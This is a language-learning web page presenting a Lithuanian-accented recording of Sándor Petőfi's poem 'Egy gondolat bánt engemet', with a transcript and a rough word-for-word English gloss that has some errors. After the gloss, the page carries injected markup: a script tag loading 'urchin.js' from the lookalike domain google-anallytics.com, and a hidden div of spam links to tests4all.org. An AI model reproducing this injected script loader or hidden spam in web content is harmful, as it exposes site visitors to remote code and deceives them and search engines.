Language sounds
Home > Sounds > Sandor Petofi

‘Sandor Petofi’
Click to listen to petofi.wav (469Kb)
Non-native speaker
Accent: Lithuanian
AuthorLinas
Date: 2/15/2006

Description of what is on the sound file:
Sandor Petofi is considered one of the greatest Hungarian language poets of XIX. Despite the fact that he died young in the battle of Hungarian independence in 1849, he left rich poetical heritage


Transcript of sound file:
Egy gondolat bánt engemet:
ágyban párnak közt hallni meg
Lassan hervadni el, mint a virág
amelyen titkos féreg foga rág
Elfogyni lassan mint a gyertyaszál
Mely elhagyott, üres szobában áll


Translation:
(only word for word translation)

Egy-one gondolat-thought bánt-afraids engemet-me
ágyban-in bed párnak-pillow közt-among hallni meg-die off
Lassan-slowly hervadni el-fade , mint-as a virág-flower
amelyen-on which titkos-secret féreg-worm foga-tooth rág-nibble
Elfogyni-to consume lassan-slowly mint-as a gyertyaszál-as a piece of candle
Mely-which elhagyott-forsaken, üres-empty szobában-room áll-stands
'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>


Upload a sound file (you need to register or login to the forum first)


DHTML Menu By Milonic JavaScript


Copyright 2024 FX Micheloud - All rights reserved
No part of this website may be copied by any means without my written authorization.